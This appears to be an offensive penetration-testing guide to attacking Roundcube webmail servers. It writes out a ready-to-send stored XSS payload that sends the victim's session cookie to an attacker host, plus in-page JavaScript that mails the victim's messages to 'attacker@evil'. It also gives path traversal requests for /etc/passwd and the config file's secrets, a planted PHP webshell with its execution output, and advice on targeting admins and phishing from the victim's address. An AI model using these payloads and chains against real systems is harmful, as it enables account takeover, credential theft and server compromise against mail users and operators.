Roundcube is a PHP webmail client that renders HTML email in the browser after passing it through its own sanitizer, rcube_washtml ("washtml"). The entire high-value surface flows from that: if a construct survives washtml, the attacker-supplied script runs inside the victim's authenticated session the moment they open the message. Because delivery is just sending mail, exploitation needs no link click and no second factor. Alongside the rendering bugs, Roundcube's skin loader and plugin installer have repeatedly allowed path traversal and writing PHP under the webroot.
Fingerprint first#
Confirm the product and pin the exact build, because every washtml bypass is version-bound.
curl -sk 'https://<target>/?_task=login' -i | grep -iE 'set-cookie|location'
# Set-Cookie: roundcube_sessid=... confirms Roundcube
curl -sk https://<target>/CHANGELOG.md | head -n 5 # exact version on many installs
curl -sk https://<target>/program/resources/ -i # 403/listing confirms layout
The markup also leaks the build in asset query strings (program/js/app.min.js?s=<buildhash>) and the skin name under skins/. The version selects which message-rendering bypass and which installer path are live, so record it before sending anything.
Stored XSS through the HTML sanitizer#
Roundcube displays an HTML message by parsing it, running rcube_washtml to strip scripting, and injecting the result into the message view. The sanitizer works by allow-listing tags and attributes and rewriting URLs, so every practical bug is a parser-differential: a construct the washtml parser reads differently from the browser that ultimately renders it. Historic live classes:
- SVG event handlers and animation. An
<svg>subtree carrying an animation element whose event attribute washtml does not recognize (for exampleonbeginon<animate>, rather than the commonly strippedonload/onerror) passes the allow-list and fires on render with no user interaction. - Mutation XSS via foreign content. washtml allow-lists
<svg>and<math>subtrees, but the browser's foreign-content parsing re-interprets the markup after sanitization: a<style>or comment inside the subtree closes at a different point in the live DOM than washtml saw, smuggling a following element with anonerrorhandler past the filter. - CSS injection for exfiltration. A surviving
style/<style>cannot execute JavaScript in a current browser, but aurl()in abackgroundor@font-facestill issues an attacker-controlled request when the message renders, confirming the mail was opened and enabling attribute-value exfiltration through conditional selectors.
Deliver it as an ordinary message. The payload is the message body; it executes when the target opens the mail:
POST /?_task=mail&_action=send HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=x
Cookie: roundcube_sessid=<your-own-session>; roundcube_sessauth=<...>
--x
Content-Disposition: form-data; name="_to"
victim@target
--x
Content-Disposition: form-data; name="_subject"
Invoice
--x
Content-Disposition: form-data; name="_message"
<svg><animate onbegin="fetch('//attacker/x?c='+document.cookie)" attributeName=x dur=1s></svg>
--x--
You do not need Roundcube to send it; any SMTP path to the victim works, and the crafted HTML part is what matters. When the victim opens the message, washtml fails to neutralize the construct and the browser executes it in the https://<target> origin. A successful hit is visible as a request arriving at your collector carrying the victim's roundcube_sessid/roundcube_sessauth values.
Steal the session and you own the mailbox. The same payload, instead of exfiltrating the cookie, can drive the Roundcube AJAX API in-page to read folders and silently send as the victim:
fetch('/?_task=mail&_action=send',{method:'POST',credentials:'include',
body:new URLSearchParams({_to:'attacker@evil',_subject:'x',_message:dump})})
That is the follow-on that matters: script in the mailbox origin equals full read of every message and send-as from the victim's address, with no credential and no prompt.
Skin and plugin path traversal#
Roundcube loads UI templates by a _skin/template name and, in the installer and some plugins, composes a filesystem path from request input. Where that path is not confined, ../ sequences read files outside the skin directory:
GET /?_task=settings&_action=edit-prefs&_skin=../../../../../../etc/passwd%00 HTTP/1.1
Host: target
Cookie: roundcube_sessid=<session>
A traversal that resolves to a readable config file returns the Roundcube config/config.inc.php (DB DSN, des_key) or system files in the response body; read the body to confirm the leak rather than relying on status codes alone. The DES key and DB credentials from that config are themselves escalation: the key signs the session and lets you forge or decrypt stored credentials.
File write to PHP#
The highest-impact Roundcube chains end in a PHP file under the webroot, giving OS code execution as the web user. Two recurring sources:
- The plugin installer /
installtopath. Installer and upgrade routines that write plugin files from request-controlled names allow planting a.phppayload (or traversing out of the plugins directory) that is then requested directly. - A writable sink reached post-auth. Features such as
enigma(key import) andmarkasjunk(which can invoke a configured external command) take filenames or command fragments from preferences; where the value reaches a file write or a shell, a crafted preference turns a logged-in session into disk write or command execution.
Worked example, requesting the planted shell after a successful write:
GET /plugins/enigma/home/.../shell.php?c=id HTTP/1.1
Host: target
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The www-data response confirms execution as the web user. From there the Roundcube config/config.inc.php on disk hands you the IMAP/SMTP backend credentials and the DB, pivoting from a single mailbox to the whole mail store.
Exploitation notes#
- The rendering bugs are client-side in the victim's session: you gain exactly the victim's privileges, so target an admin or a user with onward access, and chain to send-as for lateral phishing from a trusted address.
- washtml bypasses are tightly version-bound. Pin the build from
CHANGELOG.md/asset hashes first; a payload for one minor release is usually dead on the next. - The file-write chains run as the web user and need a valid (often low-privilege) session; combine with the XSS to get that session, or with sprayed credentials.
config/config.inc.phpis the pivot: itsdes_keyand DB/IMAP credentials convert mailbox access into backend access.
Tools#
- roundcube/roundcubemail (source, to diff washtml between builds)
- Burp Suite repeater for crafting and resending the multipart message body.